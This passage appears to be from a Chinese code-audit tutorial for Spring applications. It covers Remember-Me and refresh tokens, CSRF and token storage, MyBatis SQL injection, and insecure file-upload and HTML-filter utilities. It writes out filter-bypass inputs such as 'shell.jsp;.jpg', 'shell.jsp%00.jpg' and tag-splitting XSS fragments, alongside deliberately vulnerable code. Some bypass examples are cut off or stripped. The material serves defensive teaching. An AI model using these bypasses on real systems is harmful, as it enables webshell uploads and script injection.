security框架原本默认执行地安全机制。 当然,生产环境之下更加安全的做法可能还要考虑几个问题: - 虽说正确配置的spring security确实能够自动校验`nonce`,但是通常来说还是需要做显示校验进行加固。原因有二: - 1.默认配置的方案,在分布式系统的情况下,可能会出现`nonce`对不上的问题,导致这个机制实际上是失效的。尤其无 session 亲和性或使用 Redis 共享存储时。 - 2.日志和后台监控上,有些时候是需要记录一下校验情况的,当然不要把校验过程中的敏感信息打印到log - SuccessHandler 中的业务逻辑放置:自定义 CustomOidcSuccessHandler 中,业务操作必须放在 super.onAuthenticationSuccess() 之后。 - super 调用会完成框架的 SavedRequest 处理、SecurityContext 持久化、重定向等收尾工作。 - 如果把保存用户到 DB 等敏感/耗时操作放在 super 之前,一旦业务抛出异常,框架清理流程可能未执行,导致状态不一致或安全上下文丢失。 - 推荐顺序:super 先执行 → 再执行业务逻辑 → 必要时捕获异常并做降级处理(不影响用户跳转)。 除此之外,还有: ##### 第二关:application.yaml的配置问题 spring: security: oauth2: client: registration: keycloak: client-id: xxx client-secret: xxx authorization-grant-type: authorization_code redirect-uri: "{baseUrl}/login/oauth2/code/keycloak" scope: profile, email # 误用:缺少 openid # redirect-uri 可能写成通配符或未注册 比如没有配置openid scope,这种情况下也能够正常跑,但是会降级到普通的OAuth2,导致nonce机制失效,增加重复风险。 ##### 第三关:Session与Token存储不当 在无状态或 SPA 场景下仍依赖默认 HttpSession 存储 nonce/token。 // 误用示例(配置 + 代码) @Bean public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http .sessionManagement(session -> session .sessionCreationPolicy(SessionCreationPolicy.STATELESS) // 误用:无状态却依赖 session nonce ) .oauth2Login(...) // 默认使用 HttpSession 存储 nonce ; return http.build(); } // 另外可能出现的误用:前端直接处理 Token // 在 Controller 或前端代码中: @PostMapping("/callback") public void handleCallback(@RequestBody String idToken) { // 直接存 localStorage 或 cookie storeInCookie(idToken); // 高危:扩大重放窗口 } 这种情况下:STATELESS 策略下 nonce 无法持久化,导致验证失败或被绕过;Token 明文持久化扩大攻击面。 #### 3.3.6 补充1:Remember-Me RememberMe是什么?举个例子来说,小明同学登录了A网站,在登录时选择了“记住我”,于是后续一个月的时间里,小明同学访问A网站就不需要登录了。 🤔 嗯,这怎么听起来和JWT或者sessionID很像? 其实本质上目的和作用是不一样的,JWT服务于一种场景,我们想象一个网站,小明需要登录才能够访问home页面和settings页面。 小明同学做了一次登录访问了home页面之后,又想要访问settings页面。如果这个时候系统没有什么机制来记录小明同学的登录状态,那么小明同学就需要再次输入密码进行登录。紧接着小明同学还想访问blog页面,article页面,commments页面……每访问一个页面都需要做一次登录。小明同学抓狂了。 而像JWT和sessionID就是服务于类似的场景的,它们告诉小明同学,你不需要输入密码了,(无感)验证我们就行了。就像给小明贴了一个有时限的,临时的门禁卡,小明走到门禁的地方就会自动验证一下(拦截器),而小明本人只需要走过去,什么都不用做了。 但是这张门禁卡为了安全考虑,是有失效时间的,通常还不能太长(几十分钟到几个小时,时间过长会增大重放风险)。但是小明同学还是不太满意,他想这个小区是我家啊,我天天回家我还需要天天输入密码登记吗? 于是他勾选了一个“记住我”,系统给他发了一个`Remember-Me token`,每次他过门禁的时候,系统先检测他的门禁卡(比如JWT,sessionID),如果还有效直接放行,如果失效了,就看有没有`Remember-Me token`,如果有,就认为他是小区的合法业主,(无感地)给他换一个新的门禁卡(一个新的JWT,sessionID等)。 这更像是一种机制。 Remember-Me的常规实现。 在传统web应用中通常是 sessionID + remember-me cookie 像前后端分离的应用 access token + refresh token 这里先给出一段spring security之中的例子 @Configuration @EnableWebSecurity public class SecurityConfig { @Bean SecurityFilterChain securityFilterChain( HttpSecurity http, PersistentTokenRepository tokenRepository, UserDetailsService userDetailsService ) throws Exception { http .authorizeHttpRequests(auth -> auth .requestMatchers("/login", "/css/**", "/js/**").permitAll() .anyRequest().authenticated() ) .formLogin(form -> form .loginPage("/login") .permitAll() ) .rememberMe(remember -> remember .rememberMeParameter("remember-me") .rememberMeCookieName("remember-me") .tokenRepository(tokenRepository) .userDetailsService(userDetailsService) .tokenValiditySeconds(60 * 60 * 24 * 30) .key("a-very-long-random-secret-from-env") ) .logout(logout -> logout .deleteCookies("JSESSIONID", "remember-me") .permitAll() ); return http.build(); } @Bean PersistentTokenRepository persistentTokenRepository(DataSource dataSource) { JdbcTokenRepositoryImpl repository = new JdbcTokenRepositoryImpl(); repository.setDataSource(dataSource); return repository; } } 配套的表单 create table persistent_logins ( username varchar(64) not null, series varchar(64) primary key, token varchar(64) not null, last_used timestamp not null ); 我们观察这个代码,一些基础的问题很显然 1. 有没有硬编码key,有没有用很简单的key:`.key("a-very-long-random-secret-from-env")` 2. 看application.yaml之中的配置,有没有针对cookie的csrf安全防护,比如samesite,httponly,Secure,Path,Max-Age / Expires,Domain 3. token常见的有效期问题,虽说要rememberMe,但是通常没有必要rememberMe一年,对吧?普通的系统,一般是7天,14天,30天。 //危险的配置 .tokenValiditySeconds(Integer.MAX_VALUE) .tokenValiditySeconds(60 * 60 * 24 * 365) .tokenValiditySeconds(-1) 4. token常见的注销问题,如果rememberMe在用户选择注销登录时,没有同步注销/清理,下次访问依旧会免登录。一些开发者可能会记得注销JWT/sessionID,但是可能会忘记rememberMe。当然,也不排除都忘记了的可能。 .logout(logout -> logout .deleteCookies("JSESSIONID", "remember-me") .permitAll() 5. 是否使用了简单 Hash-Based Remember-Me,通常推荐的是persistent token remember-me。像这种简单Hash-Based rememberMe最大的问题就是,服务端不会保存token状态。因此只会判定是否过期了,无法主动拉黑或者注销某个token。在这种情况下,如果一个token泄露了,在这个token失效前,我们大概率对它无计可施。 base64(username:expirationTime:algorithmName:signature) .rememberMe(remember -> remember .key("mySecret") .tokenValiditySeconds(60 * 60 * 24 * 30) ) 6. 像token这个东西,通常也不建议明文保存,一般认为只保存`token hash`这个东西更加合适 create table persistent_logins ( username varchar(64) not null, series varchar(64) primary key, token varchar(64) not null, last_used timestamp not null ); 7. 自研 Remember-Me 是否把敏感信息放进 Cookie,比如: Cookie cookie = new Cookie("remember-me", userId + ":" + password); 一个误区是,`token`是加密的,放点敏感信息问题也不大。但问题在于,很多`token`算法本身并不是加密的。这个地方需要强调的是rememberMe更像是一种机制,不是一种`token`算法本身。这个`token`究竟是不是加密的,要看开发者究竟用了什么算法。比如像下面这些都算不上是加密的`token`: Base64.getEncoder() URLDecoder.Eecode MD5 DigestUtils.md5DigestAsHex 另一点就是,通常不建议信任`token`之中,用户提供的`role`等参数,需要后端再进行查验。 8. 然后是日志不要乱打印`token`这样敏感的参数。 🖊 然后,我们再讨论一些更有趣,更rememberMe本身的场景: **第一个场景:是否及时吊销了`rememberMe token`** 我们来看这样一个场景。小明同学的A网站账号被小黄同学盗用了,于是,小明同学紧急修改了自己的密码来保护自己的账号。在这个场景下我们需要做点什么。 更新密码,然后吊销之前的`access token`(比如JWT,sessionID)? 这样足够吗? 其实是不够的,我们说过,当系统检测`access token`过期之后,会看有没有`rememberMe token`,如果有的话,就再颁发一个`access token`。小黄同学就可以继续美美地登录了。 更糟糕地是,如果修改密码不需要输入原始密码,小黄同学甚至可以改掉小明同学的密码。 因此,在代码审计的步骤里面,我们要分析这一部分的逻辑: - 首先,修改代码之前,有没有做验证,比如验证原始密码,或者做邮箱,短信验证等 - 修改了密码后,有没有注销旧得`access token`和`rememberMe token`? 如果使用 Spring Security 默认表: delete from persistent_logins where username = ?; 延申到其他的场景,比如管理员要暂时封禁一个账户,就不能只拉黑`access_token`,还需要拉黑`rememberMe token`。 总结来说就是: - 敏感的操作,如修改密码,提现,转账,创建API key等,不能够以`rememberMe`的弱登录为准,要有二次验证 - 需要吊销`access_token`的场景,都需要考虑一下`rememberMe token`是否需要同时吊销了 **第二个场景:随机数是否安全** 为什么随机数很重要?因为作为登录凭证,`rememberMe token`需要不可预测,如果随机数不安全,就会影响到这个不可预测。而攻击者如果通过猜测,遍历得到了某个合法的`token`,很显然就能够用于去登录不属于他的账号。 这个比较危险 Random random = new Random(); UUID.randomUUID(); // 勉强可用但不如 SecureRandom 明确 System.currentTimeMillis(); username + timestamp; 建议使用 SecureRandom secureRandom = new SecureRandom(); byte[] bytes = new byte[32]; secureRandom.nextBytes(bytes); String token = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes); 在启用spring security的时候,生成随机`token`的过程,是框架自动进行的,默认使用的是`SecureRandom`。在不启用spring security的情况下需要关注这点。 #### 3.3.7 补充2:SSO(Single Sign-On) 这里仅做一个机制的解释,SSO 是一种让用户一次登录后访问多个系统的机制。 在现代系统里,通常会基于 OIDC 来实现。 多个业务系统作为 RP,统一接入同一个 OP/IdP。用户首次访问某个系统时,会通过 OIDC 流程到 IdP 完成认证。认证成功后,IdP 建立自己的登录会话,同时业务系统建立本地会话。 之后用户再访问其他接入同一 IdP 的系统时,这些系统虽然也会发起 OIDC 登录流程,但由于 IdP 已经识别到用户已有会话,所以无需再次输入密码,从而实现单点登录。SSO 本质上依赖的是多个应用对同一个身份源的信任,以及对该身份源会话的复用。 因此SSO实现的究竟安不安全,首先要看是用什么实现的,比如现在常见的OAuth2 / OIDC,老一点系统常用的SAML,CAS,知道了SSO是用什么实现的之后,然后再去看针对于这个机制实现的是否安全。 #### 3.3.8 补充3:Access Token / Refresh Token 前面在 OAuth 2.0 中其实已经讨论过相关内容,这里主要作为一个补充说明。 我们可以把 **Access Token** 和 **Refresh Token** 理解成“两把用途不同的钥匙”。需要注意的是,这里讨论的是一种**令牌协作机制**,而不是某种具体的 `token` 生成算法。换句话说,`access token` 并不等同于某一种固定实现,它既可以是 `session id`,也可以是 `JWT`,或者其他形式的令牌。 - **Access Token**:可以理解为“工作钥匙”,通常是短期有效的,用来访问受保护的 API。 - **Refresh Token**:可以理解为“续期钥匙”,通常有效期更长,用来换取新的 `access token`。 那么,为什么不直接使用一个长期有效的 `access token`,而是要引入这样一套看起来更复杂的机制呢? 原因在于,`access token` 本身往往拥有较强的访问能力。它更像是“金库的钥匙”:一旦泄露,攻击者就可能直接利用它访问受保护资源。如果它还是一个长期有效的令牌,那么风险就会被进一步放大。相反,将 `access token` 设计为短期有效,可以显著缩小风险窗口。这样即使攻击者窃取到了它,也可能很快失效,或者至少无法在较长时间内持续使用。 但这也引出了另一个关键点:**`refresh token` 实际上往往更加敏感。** 因为一旦攻击者获取了 `refresh token`,就可能通过它不断申请新的 `access token`,从而持续维持访问能力。 正因为如此,`refresh token` 在安全模型中的定位,和 `remember-me token` 有一定相似之处:它不仅仅是一个“长期凭证”,还需要随着具体业务逻辑,支持诸如以下能力: - 吊销(revocation) - 轮换(rotation) - 风险审计(risk auditing) - 设备管理(device management) 在实践中,`refresh token` 通常会被存放在 Cookie 中,并结合如下属性进行保护: - `HttpOnly` - `Secure` - `SameSite` 这也意味着,它需要受到与其他存放在该位置的敏感凭证同等级别的保护。换言之,**不要因为它“不直接访问资源”,就低估它的安全重要性**;从某种意义上说,`refresh token` 往往比 `access token` 更值得谨慎对待。 关于代码方面, Spring 生态已经提供了官方 refresh token 方案,但是否需要你自己写,取决于你是在“做授权服务器”,还是只是“做一个普通登录系统”。 比如以下是一段配置 //授权服务器配置 @Configuration @EnableWebSecurity public class AuthorizationServerConfig { @Bean @Order(1) public SecurityFilterChain authorizationServerSecurityFilterChain(HttpSecurity http) throws Exception { OAuth2AuthorizationServerConfiguration.applyDefaultSecurity(http); return http.build(); } @Bean @Order(2) public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception { http .authorizeHttpRequests(authorize -> authorize.anyRequest().authenticated()) .formLogin(Customizer.withDefaults()); return http.build(); } } @Bean public RegisteredClientRepository registeredClientRepository() { RegisteredClient registeredClient = RegisteredClient.withId(UUID.randomUUID().toString()) .clientId("demo-client") .clientSecret("{noop}demo-secret") .clientAuthenticationMethod(ClientAuthenticationMethod.CLIENT_SECRET_BASIC) .authorizationGrantType(AuthorizationGrantType.AUTHORIZATION_CODE) .authorizationGrantType(AuthorizationGrantType.REFRESH_TOKEN) .redirectUri("http://127.0.0.1:8080/login/oauth2/code/demo-client") .scope(OidcScopes.OPENID) .scope("read") .tokenSettings(TokenSettings.builder() .accessTokenTimeToLive(Duration.ofMinutes(15)) .refreshTokenTimeToLive(Duration.ofDays(7)) .reuseRefreshTokens(false) .build()) .build(); return new InMemoryRegisteredClientRepository(registeredClient); } 这里有 3 个点最重要: 1. `authorizationGrantType(AuthorizationGrantType.REFRESH_TOKEN)`,这表示这个客户端允许使用 refresh token grant。 2. `refreshTokenTimeToLive(Duration.ofDays(7))`,这是`refresh token`的有效期配置。这个能力由 `TokenSettings`提供。这个地方很显然不建议时间配置得过长。 3. `reuseRefreshTokens(false)`,设为`false`表示不复用`refresh token`,也就是每次刷新时都会下发新的 `refresh token`;官方 API 说明写得很明确。默认值是`true`。这个地方建议轮换,更容易防范盗用和重放。 比如repository实现下需要这个类似于样子 @Repository public class AuthorizationQueryRepository { private final JdbcTemplate jdbcTemplate; public AuthorizationQueryRepository(JdbcTemplate jdbcTemplate) { this.jdbcTemplate = jdbcTemplate; } public List findAuthorizationIdsByPrincipalName(String username) { return jdbcTemplate.query( "select id from oauth2_authorization where principal_name = ?", (rs, rowNum) -> rs.getString("id"), username ); } public void deleteById(String id) { jdbcTemplate.update("delete from oauth2_authorization where id = ?", id); } } #### 3.3.9 补充4:sessionStorage / Cookie /localStorage 区别在哪里? 有这样一个场景,小明同学打开了 A 网站的页面进行浏览,他看中了一个心仪的物品 B,于是需要登录进行购买。小明同学点击登录按钮,完成登录后顺利下单,然后继续保持登录状态浏览 A 网站,并在页面之间不断跳转。一切看起来都很正常。 紧接着,小明同学又看上了物品 C 和 D。为了方便对比,他在原来的 Tab 中打开了 C,又新开了一个 Tab 打开 D 进行比较。比对之后,小明决定购买 D。 结果,当他准备付款时,却发现自己竟然没有登录,需要重新登录一次! 恼羞成怒的小明索性关闭了整个浏览器,再重新打开 A 网站。结果这一次,他彻底退出了登录,需要重新登录。 为什么会这样? 原因就在于:网站的“登录状态”通常会被保存在浏览器中的某个存储区域,而不同存储方式的生命周期和作用范围并不一样。 通常来说,登录状态可能被保存在下面三种地方: - Cookies:浏览器会自动在请求中携带 - localStorage:浏览器提供的持久化本地存储 - sessionStorage:浏览器提供的会话级本地存储(仅当前 Tab 有效),有时会被塞在前端隐藏的表单里(过时的方案) 另外,这里要区分一下 sessionStorage 和 Session Cookie: - Session Cookie依旧是放在Cookie里面的,只是这个Cookie通常策略是不持久化存储,关闭浏览器就会失效。 - sessionStorage存放地点,需要看情况,有浏览器保持的,有前端保持的,关闭Tab就会失效。 那么小明同学遇到的这种情况,其实就是sessionStorage的存储方式,登录状态只在当前tab下有效。 这种用法说新不新,说旧不旧。主要是在有一段时间里,对一些旧系统进行改造,比如做前后端分离时,一定程度上为了兼容,为了工程效率采用的方案。后面并没有广泛被使用的原因很显然,不是很合适目前微服务的框架 ,不是很方便,toC情况下用户会很烦。当然也不是完全没有应用场景的,比如一些安全要求严格的场景,如果确实希望仅在单个tab下保持登录状态,关闭就要重新登陆,也不是不可以。 当然除了很不好用,我们其实更加关注的是安不安全。 | 特性 | Cookie | localStorage | sessionStorage | | -------- | ---------------- | ------------ | -------------- | | 自动随请求发送 | √ | × | × | | 服务端可读 | √ | × | × | | 前端 JS 可读 | 部分可(HttpOnly 不可) | √ | √ | | 多 Tab 共享 | √ | √ | × | | 浏览器关闭后保留 | 可配置 | √ | × | | 适合登录态 | √ 最常见 | ⚠️ 有风险 | × 不适合 | | 由此我们可以去理解,有些时候不是说某种token算法带来的风险(由算法带来的,很多时候是密码学层面的问题),而是: - 这个 Token 被存放在什么地方 - 浏览器会如何处理它 - 它会以什么机制参与请求 也就是说:“Token 的安全性” 很大程度上取决于 “存储介质的行为”。 如果把JWT放在Cookie里面,那么JWT就是Cookie,会被浏览器自动携带着,就会有CSRF风险。 Set-Cookie: token=jwt_xxx 把SessionID放在localStorage,那么浏览器就不会自动携带它,它某种意义上就不算是“Cookies”,CSRF风险减小了。 localStorage.setItem("token", jwt) 但是对应的,既然你不让浏览器自己带,那你只能够自己携带,自己携带的话,那得用JS操作吧? fetch(url, { headers: { Authorization: `Bearer ${token}` } }) 能够用JS读,是不是就至少给了有XSS的可能? 因此在安全审计时,我们真正需要理解的是: - 开发者想实现的认证模型是什么 - 他们以为自己在用什么 - 实际上浏览器又会如何处理 比较恐怖的场景是,开发者不知道自己想要的是哪种安全机制,实现了一个原理他们不够清楚的安全机制,然后不知道浏览器后面会做什么……理论上来说,在有严格开发规范的公司里,这样的事情出现概率低。值得担忧的是小企业,或者小项目外包的场景。 比如一些糟糕的情景: - 明明用的是JWT,想用的也是JWT,结果塞到Cookie里面去了,然后又没有做对应的CSRF防护措施,以为JWT本身是防CSRF的。 - 或者,为防CSRF,把cookie/sessionID放到了localStorage里面去,同时认为cookie/sessionID不需要防护XSS。于是攻击者直接`localStorage.getItem("token")` 基于这个,我们再来分析几个现代主流的做法。 第一个是一个早一点的做法,也就是我们常说的`csrf token`,现在很多面经里面依旧还是采用的一种说法。 比如在cookie场景之下,在前端页面塞一个`csrf token`在隐藏的表单里面,后面发送请求时通过前端页面来携带这个`csrf token`。例如: 在典型 CSRF 场景下,攻击者虽然能诱导用户发请求,但无法读取受害网站的页面内容。也就是说:攻击者可以“让浏览器发请求”,但无法知道真正的`csrf token`是什么。因此即使浏览器自动带上了认证 Cookie,攻击者也没法同时伪造`csrf_token`。 不过:“把 CSRF Token 塞进页面里” 本身也不是唯一方案。 后来逐渐流行起另一种更现代的做法:Double Submit Cookie(双重提交 Cookie) 它的核心思路是: - 一个 Cookie 用于认证(通常是 HttpOnly) - 另一个 Cookie 用于保存 CSRF Token(通常不给 HttpOnly) 例如: Set-Cookie: sessionid=xxx; HttpOnly Set-Cookie: csrf_token=abcd 这个地方,`sessionid`,用于认证, JS 不可读(httponly),浏览器自动携带;`csrf_token`,不设置 HttpOnly,JS 可以读取,浏览器同样会自动携带 发送请求时,浏览器会自动带上: Cookie: sessionid=xxx; csrf_token=abcd 与此同时,前端 JS 再主动读取: document.cookie 把`csrf_token`再放到: X-CSRF-Token: abcd 或者: csrf_token=abcd 服务器收到后,对两个`csrf_token`是否一致进行比对。 这个方案之所以成立在于,在传统的CSRF场景之下,攻击者是无法知道cookie的具体值的,只是利用了浏览器自带的动作。因此在这里也无法伪造由前端 JS 自带的那个`csrf cookies` PS:补充一点是,很显然这两个方案都有 JS 的操作框架,不会天然地防XSS。 结合起来,我们总结一下,现代完整的登录框架实践比如有 - JWT + HttpOnly Cookie:即把JWT放入Cookie中,同时配置CSRF防护,比如HttpOnly,SameSite,CSRF Token(比如上面所说的两种携带方案),Origin 校验等 - Session + HttpOnly Cookie,同时也要配合上述的防护。 PS:其实不怎么喜欢放在localstorage里面,因为XSS风险更大。而XSS的危害是要大于CSRF的。我们在做代码审计的时候也可以关注,JWT放在cookie里面不一定是错的,注意看有没有对应的防护措施。 ### 3.4 数据库与数据安全(DAO层 / Mapper / Repository) 谈到数据库,值得令我们关注的,就是数据库注入问题。我们暂且以三种案例进行讨论: **(1)MyBatis** 在使用 MyBatis 时,从审计角度来看,应重点关注参数绑定方式: - `#{}`:表示预编译参数绑定(PreparedStatement),**安全** - `${}`:表示字符串拼接,**存在 SQL 注入风险** ✅ 正确使用方式: @Select("SELECT * FROM address_book WHERE id = #{id}") ❌ 错误使用方式: @Select("SELECT * FROM address_book ORDER BY ${column}") `${}` 会将参数直接拼接进 SQL,如果参数来源于用户输入,则可能导致 SQL 注入。 一般情况下,项目中应尽量避免使用 `${}`。但需要注意的是,在 `ORDER BY` 场景中: - 字段名无法使用 `#{}` 绑定 - **只能使用 `${}` 进行拼接** 因此,这种场景应该尤为关注: - `${}` 的参数是否来源于用户输入 - 是否对字段值做了限制(如白名单) - 是否存在直接透传参数的情况 安全的使用是(白名单限制): public String getOrderByColumn(String column) { List whitelist = Arrays.asList("id", "name", "create_time"); if (whitelist.contains(column)) { return column; } return "id"; } @Select("SELECT * FROM address_book ORDER BY ${column}") List list(@Param("column") String column); String safeColumn = getOrderByColumn(userInput); mapper.list(safeColumn); PS:补充一个后来发现的问题。后来我观察 C# 相关的 SQL 处理时发现,其实也存在同样的问题。 C# 一个很好用的点在于,它的查询通常会比较“自动化”地去做参数化处理。但在 `order by` 场景下,这种机制其实依旧无能为力。 一种常见的解释是:我们无法对 `order by` 后面的参数进行参数化。这个说法没错,但还不算本质。 更本质的原因在于:`order by` 后面的内容,本质上是“列名”。而列名、表名这类结构性标识符,和 `id`、字符串等普通参数不一样,它们本身无法像普通值那样参与预编译(本质上是:SQL 的结构部分无法被参数化绑定)。 好消息是,这类列名通常不太需要用户直接输入,因此真正暴露在用户可控输入中的概率并不算高。 坏消息是,这意味着,这种情况并不只存在于 `order by`。 `order by` 只是一个非常经典、也最容易被注意到的场景,它实际上说明了一件更糟糕的事情: 也就是说,这种“无法预编译”的危险场景,很可能不仅存在于 `order by`,还可能出现在其他需要动态列名、动态表名的地方。 因此,一方面,开发者在编写代码时,如果直接尝试使用 `#{}`(至少在 C# 里)通常会直接报错; 另一方面,当代码中出现 `${列名}` 这种写法时,就必须额外关注: - 这个列名是否来自用户输入? - 是否存在用户可控路径? - 是否做了白名单校验? - 是否限制了可选字段范围? 因为这类地方,本质上已经脱离了“普通参数化”能够保护的范围。 **(2) Mybatis Plus** SQL风险相对更少但值得注意: **① Wrapper 条件拼接不当** 一般情况下,像下面这种写法是安全的: LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); wrapper.eq(User::getId, id); userMapper.selectList(wrapper); 这是因为`eq()`中的参数会作为预编译参数处理,不会直接拼接进 SQL。 但如果开发者错误地把用户输入当作 SQL 片段使用,就可能出现风险。例如: QueryWrapper wrapper = new QueryWrapper<>(); wrapper.last("limit " + userInput); userMapper.selectList(wrapper); `last()`的内容会被直接拼接到 SQL 语句末尾,不会进行参数预编译。 如果`userInput`可控,则可能带来 SQL 注入问题。 **② 使用`apply()`、`inSql()`、`exists()`等方法时直接拼接参数** MyBatis Plus 提供了一些用于拼接原生 SQL 片段的方法,这些方法在审计中应重点关注: - `last()` - `apply()` - `inSql()` - `notInSql()` - `exists()` - `notExists()` 例如下面的写法就存在风险: QueryWrapper wrapper = new QueryWrapper<>(); wrapper.apply("date_format(create_time,'%Y-%m-%d') = '" + userInput + "'"); userMapper.selectList(wrapper); **③ 动态条件可能带来的逻辑绕过问题** 除了传统意义上的 SQL 注入外,MyBatis Plus 还需要关注一种比较常见的问题:动态条件控制不严,导致查询逻辑被绕过。 LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); wrapper.eq(User::getStatus, 1); if (StringUtils.isNotBlank(name)) { wrapper.like(User::getName, name); } 这种写法本身不一定会导致 SQL 注入,但如果业务中过于依赖前端传参控制查询条件,就可能出现: - 原本应限制的数据范围被放宽 - 某些查询条件缺失后返回全部数据 - 通过构造特殊参数绕过业务过滤逻辑 **④ 与 MyBatis 混用时,手写 SQL 仍然存在 ${} 风险** 这一点参考(1)的部分 **(3) 预编译** 一个误区是使用了预编译就一定没有SQL注入的风险,原因在于一些开发者可能误用预编译,导致为预编译 String sql = "update book set book_id='"+val1+"', " + "stock='"+val2+"' where book_id='"+val1+"'"; ps = con.prepareStatement(sql); 在这个案例之中,虽然使用了`prepaStatement`,但是sql语句本身还是拼接的。 安全的使用是 String sql = "select * from student where student_id=?"; try { ps = con.prepareStatement(sql); ps.setString(1, txtsid.getText()); rs = ps.executeQuery(); ### 3.5 工具类(文件上传 / HTML过滤 / JWT等) 在这一步里,我来举几个开源教学项目之中最常出现的漏洞。分析存在漏洞的写法和安全的写法(或说修复方案) #### 3.5.1 文件上传 这是一个基于阿里OSS的文件上传工具类,观察这个代码,问题在哪里? @Data @AllArgsConstructor @Slf4j public class AliOssUtil { private String endpoint; private String accessKeyId; private String accessKeySecret; private String bucketName; /** * 文件上传 * * @param bytes * @param objectName * @return */ public String upload(byte[] bytes, String objectName) { // 创建OSSClient实例。 OSS ossClient = new OSSClientBuilder().build(endpoint, accessKeyId, accessKeySecret); try { // 创建PutObject请求。 ossClient.putObject(bucketName, objectName, new ByteArrayInputStream(bytes)); } catch (OSSException oe) { System.out.println("Caught an OSSException, which means your request made it to OSS, " + "but was rejected with an error response for some reason."); System.out.println("Error Message:" + oe.getErrorMessage()); System.out.println("Error Code:" + oe.getErrorCode()); System.out.println("Request ID:" + oe.getRequestId()); System.out.println("Host ID:" + oe.getHostId()); } catch (ClientException ce) { System.out.println("Caught an ClientException, which means the client encountered " + "a serious internal problem while trying to communicate with OSS, " + "such as not being able to access the network."); System.out.println("Error Message:" + ce.getMessage()); } finally { if (ossClient != null) { ossClient.shutdown(); } } //文件访问路径规则 https://BucketName.Endpoint/ObjectName StringBuilder stringBuilder = new StringBuilder("https://"); stringBuilder .append(bucketName) .append(".") .append(endpoint) .append("/") .append(objectName); log.info("文件上传到:{}", stringBuilder.toString()); return stringBuilder.toString(); } } 很显然,这个工具类仅完成了一件事,就是文件上传。 ❓️ 它有没有做什么? - 判断文件的类型 - 限制文件大小 - 校验文件内容 - 对文件名(objectName)进行过滤或规范化 也就是说,这个工具类本身是一个**纯功能实现**,而不是一个**安全实现**。 🔎 这意味着什么? 如果上层(controller)没有做额外校验,那么用户可以上传任意内容: - 可执行脚本文件(如 `.jsp`、`.html` 等) - 带有恶意内容的文件(如 XSS payload) - 超大文件(造成存储或带宽消耗) 此外,`objectName` 由外部传入且未经过处理,也可能带来一些问题,例如: - 覆盖已有文件 - 构造特殊路径(如目录穿越风格的命名) - 通过文件名直接影响访问 URL **另一个,关键问题是,这个工具类,本身是否有漏洞吗?是否会形成攻击链?** 这取决于后续在controller / service层,它是怎样被提供给用户的。 即后续需要重点关注: - **什么权限的用户可以调用该功能?** - 一个比较危险的思路是,将后台操作者默认视为“可信对象”,认为只要工具类不直接暴露给普通用户,即使实现不安全也是可以接受的 - 实际上,即便只对后台开放,这类不安全的工具能力依然应该被修复,因为一旦发生越权或账号被利用,风险会被进一步放大 - **调用处是否进行了文件上传校验?** - 通常来说,即使在 controller / service 层根据业务需求存在不同的校验逻辑,在 utils 层也应具备一些基础的通用防护(如文件大小限制、文件名规范化等) - 如果 utils 层完全没有任何限制,那么很可能上层也没有进行严格校验,这种情况需要重点关注 - **上传后的文件是否可以被直接访问?** - 在一些常见的小项目中(如用户头像、商品图片等场景),上传后的文件往往可以通过 URL 直接访问 - 如果上传内容未经过校验,这将可能导致 XSS,甚至在特定情况下形成进一步的攻击链(如结合前端渲染问题) ❓️ **又一个问题,写了过滤就一定安全吗?** 并非如此。做过渗透的小伙伴会知道,一些文件上传漏洞,恰恰就来源于——**“看起来做了过滤,但实际上过滤不充分”**。 下面是几个常见的错误示例: **① 只通过后缀判断文件类型** if (!fileName.endsWith(".jpg")) { throw new RuntimeException("只允许上传jpg图片"); } - 可以通过双后缀绕过:`shell.jsp.jpg` - 或大小写绕过:`shell.JPG` 👉 本质问题:仅依赖字符串判断,不可靠 **② 简单黑名单过滤** if (fileName.contains(".jsp") || fileName.contains(".php")) { throw new RuntimeException("非法文件"); } - 依旧可以绕过: - `shell.jsp;.jpg` - `shell.jsp%00.jpg` - `shell.jsp .jpg` 👉 黑名单永远不完整 **③ 只校验 Content-Type** if (!file.getContentType().equals("image/jpeg")) { throw new RuntimeException("只允许上传图片"); } - Content-Type 可被伪造(例如使用burp suite篡改报文) - 攻击者可以上传任意文件并伪装为图片 👉 本质:信任客户端数据 **④ 只检查文件头(但不完整)** byte[] bytes = file.getBytes(); if (bytes[0] != (byte)0xFF || bytes[1] != (byte)0xD8) { throw new RuntimeException("非法图片"); } - 只检查前几个字节,可以构造“图片马” - 后面仍然可以嵌入恶意代码 **⑤ 文件名未规范化** ossUtil.upload(fileBytes, fileName); - 攻击者可控 `fileName` - 可能导致: - 覆盖文件 - 构造特殊路径 - 注入恶意URL 📚 值得注意的是,大多数初学者自行编写的过滤逻辑往往并不可靠。 在实际开发中,更推荐使用经过验证的成熟安全库来完成相关功能,例如: - 文件类型检测: - `Apache Tika`(基于文件内容识别类型) - `java.nio.file.Files.probeContentType()` - 文件上传安全处理: - Spring 提供的 `MultipartFile` 配合服务端校验 - 结合白名单策略(允许的类型、大小等) 在此基础上,仅针对具体业务需求进行必要的定制,而不是从零开始自行实现过滤逻辑。 同时,即使使用成熟库,也应关注其使用方式是否正确,并结合实际场景进行审计。 #### 3.5.2 HTML 过滤工具类 本质上,这一类问题与文件上传类似,甚至可以类比密码算法的设计原则: 👉 **涉及复杂规则的安全处理,应尽量使用经过验证的成熟实现,而不是自行编写(哪怕是AI写也不建议,AI只建议基于专业库写补充规则)。** 在实际项目中,HTML 过滤通常存在以下三种情况: - **完全没有过滤机制** - 这种情况下,需要重点关注 controller / service 层是否存在富文本相关功能(如评论、文章等),这些场景是 XSS 的高发区域 - 如果项目中没有涉及富文本,相对问题不大;如果存在,则需要进一步结合前端渲染方式一起分析 - **手写过滤规则** - 这种情况通常风险较高 - 常见问题包括:规则不完整、正则误用、未考虑绕过方式等 - 在审计时,可以将过滤逻辑交给大模型或工具辅助分析,快速定位潜在绕过点 - **使用专业库或函数** - 相对安全,但仍需关注是否存在误用 - 例如:配置不当、过滤策略过宽,或与业务逻辑存在冲突 这里我也从简单到复杂,举几个手写HTML过滤规则被绕过的例子 **① 只过滤 `", ""); 绕过方式: 问题: - 大小写绕过 - 只过滤 script,忽略其他可执行标签 **② 使用简单正则删除标签** content = content.replaceAll("<.*?>", ""); 绕过方式: < ipt>alert(1)ipt> 问题: - 正则无法正确解析嵌套HTML结构 - 很容易被构造绕过 **③ 只过滤关键字(黑名单)** if (content.contains("script")) { throw new RuntimeException("非法内容"); } 绕过方式: 